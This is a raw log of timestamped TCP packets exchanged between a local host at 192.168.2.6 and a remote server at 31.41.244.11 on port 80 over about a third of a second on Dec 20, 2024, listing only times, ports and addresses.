Dec 20, 2024 21:13:12.767229080 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.767280102 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.767333984 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.767390966 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.767708063 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.767762899 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.767788887 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.767836094 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.768837929 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.768889904 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.768889904 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.768946886 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.769962072 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.770092010 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.770119905 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.770265102 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.771095991 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.771210909 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.771231890 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.771380901 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.772346020 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.772490978 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.772701025 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.772751093 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.773499012 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.773617983 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.773672104 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.774568081 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.774707079 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.774723053 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.775860071 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.775916100 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.775929928 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.776019096 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.776990891 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.777055025 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.777101994 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.777153969 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.778140068 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.778193951 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.778223038 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.778333902 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.779273033 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.779335976 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.779437065 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.779488087 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.780495882 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.780548096 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.780694962 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.781613111 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.781670094 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.854135036 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.854226112 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.854382038 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.854566097 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.854792118 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.854839087 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.854949951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.855014086 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.856101990 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.856153011 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.856420994 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.856461048 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.857141018 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.857187033 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.857388020 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.857619047 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.857642889 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.857738018 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.858614922 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.858664989 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.858728886 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.858788013 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.859741926 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.859811068 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.859879017 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.859939098 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.861030102 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.861094952 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.861119986 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.861166954 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.862318039 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.862338066 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.862390041 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.863296986 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.863396883 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.863596916 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.863650084 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.864463091 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.864511967 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.864624023 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.864690065 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.865499973 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.865578890 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.865591049 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.865653038 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.866658926 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.866750002 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.866781950 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.866843939 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.867861032 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.867924929 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.867952108 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.868005037 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.869005919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.869045973 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.869090080 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.869090080 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.870193005 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.870268106 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.870356083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.870407104 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.871366978 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.871402979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.871442080 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.871442080 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.872587919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.872611046 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.872656107 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.873771906 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.873812914 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.873848915 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.873848915 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.874821901 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.874875069 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.874881029 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.874973059 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.876044035 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.876092911 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.876194954 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.876244068 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.877341986 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.877360106 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.877399921 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.877399921 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.878324986 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.878384113 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.878463984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.878509045 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.879539967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.879715919 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.879739046 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.879832029 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.880697966 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.880769014 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.880829096 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.880919933 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.881923914 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.881987095 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.882010937 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.882045984 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.882997036 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.883043051 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.883064985 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.883105040 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.884187937 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.884279013 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.884335041 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.884397030 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.885339022 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.885390997 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.885483027 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.885546923 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.886567116 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.886626959 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.886655092 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.886702061 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.887758970 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.887813091 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.887841940 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.887895107 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.888897896 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.888953924 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.889066935 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.889113903 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.889956951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.890026093 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.890196085 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.890280962 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.891236067 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.891283035 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.891366005 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.891439915 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.892366886 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.892426968 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.892431974 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.892491102 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.893460989 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.893533945 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.893539906 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.893580914 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.894696951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.894742012 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.894825935 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.895802021 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.895847082 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.895930052 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.895989895 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.897001982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.897049904 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.897108078 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.897151947 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.898252010 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.898341894 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.898369074 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.898427010 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.899390936 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.899457932 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.899475098 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.899538994 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.900515079 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.900614977 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.900655031 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.900753975 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.901664019 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.901753902 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.901834965 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.901889086 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.902854919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.902903080 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.903029919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.903106928 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.904004097 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.904062033 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.904185057 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.904237032 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.905215979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.905361891 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.905580044 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.905637980 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.906322956 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.906377077 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.906414032 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.906475067 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.907576084 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.907628059 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.907990932 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.908047915 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.908747911 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.908802032 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.908833981 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.908862114 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.909898043 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.909953117 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.910032988 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.910105944 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.911007881 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.911088943 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.911139011 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.911173105 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.912395000 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.912456036 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.912594080 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.912667990 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.913320065 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.913384914 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.913405895 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.913427114 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.914593935 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.914650917 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.914676905 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.914737940 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.046253920 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.046269894 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.046288967 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.046334028 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.046334982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.046376944 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.046376944 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.047135115 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.047188997 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.047241926 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.047300100 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.048057079 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.048223972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.048275948 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.048625946 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.048764944 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.048820972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.048914909 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.049566031 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.049645901 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.049711943 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.049762964 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.050441027 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.050492048 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.050568104 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.050740004 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.051546097 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.051604986 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.051631927 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.051676989 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.052562952 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.052612066 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.052686930 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.052743912 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.053647995 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.053704023 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.053806067 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.053884029 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.054846048 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.054946899 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.055041075 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.055098057 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.055959940 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.056056023 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.056057930 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.056188107 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.056885958 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.056952953 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.056983948 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.057113886 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.057828903 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.057894945 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.057948112 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.058084011 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.058706045 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.058762074 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.058801889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.058829069 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.059386969 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.059451103 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.059494019 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.059638977 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.060112000 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.060292006 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.060343981 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.060343981 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.060767889 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.060825109 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.060841084 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.060888052 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.061306953 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.061398029 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.061398029 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.061528921 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.061950922 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.062015057 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:13.062067986 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:13.062124014 CET	49849	80	192.168.2.6	31.41.244.11
